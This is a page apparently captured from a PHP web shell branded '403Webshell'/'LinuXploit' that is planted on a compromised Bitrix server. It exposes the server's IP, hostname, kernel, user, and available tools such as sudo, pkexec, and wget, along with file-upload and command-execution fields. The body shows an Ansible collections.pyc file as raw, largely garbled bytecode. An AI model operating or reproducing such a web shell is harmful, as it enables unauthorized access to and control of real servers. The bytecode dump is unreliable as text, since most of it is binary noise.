403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/module_utils/common/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/module_utils/common/__pycache__/collections.cpython-311.pyc
�

���c���dZddlmZmZmZeZddlmZm	Z	ddl
mZmZm
Z
mZGd�dee��Zd�Zd
d	�Zd
d
�Zd�ZdS)z*Collection of low-level utility functions.�)�absolute_import�division�print_function)�binary_type�	text_type)�Hashable�Mapping�MutableMapping�Sequencec�H�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�ZdS)�
ImmutableDictz!Dictionary that cannot be updatedc�(�t|i|��|_dS�N)�dict�_store)�self�args�kwargss   �L/usr/lib/python3.11/site-packages/ansible/module_utils/common/collections.py�__init__zImmutableDict.__init__s���D�+�F�+�+�����c��|j|Sr�r)r�keys  r�__getitem__zImmutableDict.__getitem__s���{�3��rc�4�|j���Sr)r�__iter__�rs rrzImmutableDict.__iter__s���{�#�#�%�%�%rc�4�|j���Sr)r�__len__rs rr zImmutableDict.__len__s���{�"�"�$�$�$rc�^�tt|�������Sr)�hash�	frozenset�itemsrs r�__hash__zImmutableDict.__hash__s ���I�d�j�j�l�l�+�+�,�,�,rc�x�	|���t|��krdSn#t$rYnwxYwdS)NTF)r%r"�	TypeError)r�others  r�__eq__zImmutableDict.__eq__sQ��	��}�}���$�u�+�+�-�-��t�.���	�	�	��D�	�����us�%*�
7�7c�P�d�t|j����S)NzImmutableDict({0}))�format�reprrrs r�__repr__zImmutableDict.__repr__(s ��#�*�*�4���+<�+<�=�=�=rc�&�t|jfi|��S)a�
        Create an ImmutableDict as a combination of the original and overriding_mapping

        :arg overriding_mapping: A Mapping of replacement and additional items
        :return: A copy of the ImmutableDict with key-value pairs from the overriding_mapping added

        If any of the keys in overriding_mapping are already present in the original ImmutableDict,
        the overriding_mapping item replaces the one in the original ImmutableDict.
        )r
r)r�overriding_mappings  r�unionzImmutableDict.union+s���T�[�?�?�,>�?�?�?rc����t|����fd��j���D��}t�fd�|D����S)aK
        Create an ImmutableDict as a combination of the original minus keys in subtractive_iterable

        :arg subtractive_iterable: Any iterable containing keys that should not be present in the
            new ImmutableDict
        :return: A copy of the ImmutableDict with keys from the subtractive_iterable removed
        c3�$�K�|]
}|�v�|V��dSr�)�.0�k�remove_keyss  �r�	<genexpr>z+ImmutableDict.difference.<locals>.<genexpr>@s-�����F�F�a��+�1E�1E��1E�1E�1E�1E�F�Frc3�6�K�|]}|�j|fV��dSrr)r4r5rs  �rr7z+ImmutableDict.difference.<locals>.<genexpr>As.�����?�?�Q�a���Q��0�?�?�?�?�?�?r)r#r�keysr
)r�subtractive_iterabler9r6s`  @r�
differencezImmutableDict.difference7s^���� � 4�5�5��F�F�F�F�4�;�+�+�-�-�F�F�F���?�?�?�?�$�?�?�?�?�?�?rN)
�__name__�
__module__�__qualname__�__doc__rrrr r%r)r-r0r;r3rrr
r
s�������+�+�,�,�,� � � �&�&�&�%�%�%�-�-�-����>�>�>�
@�
@�
@�
@�
@�
@�
@�
@rr
c�\�t|ttf��pt|dd��S)zCIdentify whether the input has a string-like type (inclding bytes).�
__ENCRYPTED__F)�
isinstancerr�getattr)�seqs r�	is_stringrEDs+���c�I�{�3�4�4�\���_�V[�8\�8\�\rFc�n�|st|��rdS	t|��dS#t$rYdSwxYw)z*Identify whether the input is an iterable.FT)rE�iterr'�rD�include_stringss  r�is_iterablerJJsS����y��~�~���u���S�	�	�	��t�������u�u����s�&�
4�4c�R�|st|��rdSt|t��S)z�Identify whether the input is a sequence.

    Strings and bytes are not sequences here,
    unless ``include_string`` is ``True``.

    Non-indexable things are never of a sequence type.
    F)rErBrrHs  r�is_sequencerLVs.����y��~�~���u��c�8�$�$�$rc��t|��std���t��}|D]}|�|d��dz||<�|S)aTReturns a dictionary with the number of appearances of each element of the iterable.

    Resembles the collections.Counter class functionality. It is meant to be used when the
    code is run on Python 2.6.* where collections.Counter is not available. It should be
    deprecated and replaced when support for Python < 2.7 is dropped.
    z%Argument provided  is not an iterabler�)rJ�	Exceptionr�get)rD�counters�elems   r�countrSds_���s���A��?�@�@�@��v�v�H��3�3��!���d�A�.�.��2������OrN)F)r?�
__future__rrr�type�
__metaclass__�ansible.module_utils.sixrr�/ansible.module_utils.common._collections_compatrr	r
rr
rErJrLrSr3rr�<module>rYs���1�0�@�@�@�@�@�@�@�@�@�@��
�<�;�;�;�;�;�;�;�g�g�g�g�g�g�g�g�g�g�g�g�3@�3@�3@�3@�3@�H�g�3@�3@�3@�l]�]�]�	�	�	�	�%�%�%�%�����r

Youez - 2016 - github.com/yon3zu
LinuXploit